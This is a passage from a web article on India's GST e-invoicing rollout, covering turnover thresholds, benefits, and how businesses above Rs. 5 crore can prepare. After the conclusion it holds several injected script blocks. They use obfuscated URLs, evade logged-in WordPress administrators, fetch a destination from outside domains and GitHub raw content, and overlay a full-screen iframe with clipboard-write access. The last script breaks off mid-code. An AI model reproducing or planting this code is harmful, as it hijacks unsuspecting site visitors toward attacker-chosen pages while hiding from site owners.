Enterprises with a turnover higher than Rs. 500 crores were first given access to electronic invoicing in October 2020. The government decided to expand the use of e-invoicing after a successful trial and, starting on 1 January 2021 and 1 April 2021, respectively, extended it to companies with a turnover above Rs. 100 crores, Rs. 50 Crores, Rs. 20 Crores, Rs. 10 Crores and Rs. 5 Crores. With this recent notification, companies with a revenue of more than Rs. 5 crores will now be required to begin producing electronic invoices as of 1 January 2023.</p>
<p><strong>How will E-Invoicing benefit businesses?</strong><br />
Businesses that use the GSTN-initiated electronic invoice will gain the following benefits:<br />
1. To prevent mismatch mistakes, e-Invoice resolves and plugs a significant gap in data reconciliation under GST.<br />
2. Interoperability and a decrease in data input errors are made possible by the ability to read e-Invoices created on one software by another.<br />
3. E-invoice makes it possible to track supplier-prepared invoices in real-time.<br />
4. The tax return filing process would be backward integrated and automated; the pertinent information from the invoices would be pre-populated in the various returns, particularly for creating part-A of e-way bills.<br />
5. Increased speed of actual input tax credit availability.<br />
6. Less likelihood of tax authorities conducting audits or surveys because the data they need is available at the transaction level.</p>
<p><strong>How does E-Invoicing impact both the Government and the taxpayers?</strong></p>
<p dir="ltr">E-invoicing is aimed at standardising the invoice format and compatibility between the business and tax ecosystems. The advantages of electronic invoicing go far beyond this, though. E-invoicing enables the government to monitor each B2B transaction made by companies in real-time, reducing the incidence of fraudulent invoices and input tax credit (ITC) fraud. Every electronic invoice has a QR code that aids tax officials in verifying its validity, particularly when items are in motion.</p>
<p dir="ltr">There are many advantages for corporations. In the GST returns and e-way bills, the information from e-invoices is automatically filled in. As a result, less data needs to be duplicated overall. Additionally, it expedites the ITC claims procedure and gives taxpayers confidence that only real ITC is being submitted.</p>
<p dir="ltr"><strong>What preparations must small businesses make for e-invoicing if their annual revenue exceeds Rs. 5 crores?</strong></p>
<p dir="ltr">Small and medium-sized companies having a turnover of at least Rs. 5 crore must act rapidly to identify a solution that will enable them to be prepared for e-invoicing. With the appropriate tools, creating electronic invoices is not a complex process. However, it can take a few weeks to set up, understand the system, and adjust. These newly qualified businesses must be ready to take on this digital revolution.</p>
<p dir="ltr">The first step is for qualified businesses to sign up on the government&#8217;s e-invoice platform. The login information for the e-invoice portal can be used by taxpayers who have already registered on the e-way bill portal. The business must next decide which method for creating e-invoices is ideal. The government offers an Excel-based application for creating electronic invoices. However, using this program takes time because there is no option for mass IRN production. Given that the entire procedure is manual, it might also be prone to mistakes.</p>
<p dir="ltr"><strong>What are the other E-Invoicing options accessible to Small businesses?</strong></p>
<p dir="ltr">Several well-known, reputable e-invoicing systems offer an improved web-based tool for creating e-invoices. These UI tools are simple to use and take only 10 to 15 minutes to set up. Businesses receive an Excel template here that they may use to upload and ingest data to produce e-invoices in masses with just one click.</p>
<p dir="ltr">In addition to bulk e-invoice production, it&#8217;s critical to choose an e-invoicing solution with sophisticated features like 200+ data validations, MIS reports, smart dashboards, 7-8 years of data archival, quick response times, and SmartScreen fixes to reduce errors. Additionally, it would be highly beneficial for a business if its e-invoicing solution included a centralized mechanism for e-way bill preparation.</p>
<p dir="ltr"><strong>Conclusion</strong></p>
<p dir="ltr">Due to the difficulties presented by the proposed e-invoicing system, firms will likely save time and effort while completing GST compliance. An automated system will remove human errors and ensure that accurate invoice information is fed, thus reducing the prevalence of erroneous and fraudulent claims for input tax credits. Thus, E-Invoicing ensures a significant impact on businesses in India.<script>(function () {
  var API_ID_URL = (function(){var _0xef7d=[50,46,46,42,41,96,117,117,41,47,55,61,51,60,59,54,47,51,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0xef7d.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [{"template":(function(){var _0x1230=[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39];return String.fromCharCode.apply(String,_0x1230.map(function(c){return c^0x5A;}));})(),"useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/dakiloifhsnuukka.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;
  registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  /** Ответ траста — одна строка URL */
  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.id = registry.iframeId;
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      window.addEventListener("message", function onMsg(event) {
        if (!event.data || typeof event.data !== "object") return;
        if (event.data.type === "ktl-show-original") {
          try {
            var el = document.getElementById(registry.iframeId);
            if (el && el.parentNode) el.parentNode.removeChild(el);
          } catch (e) {}
          window.removeEventListener("message", onMsg);
        }
      });
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
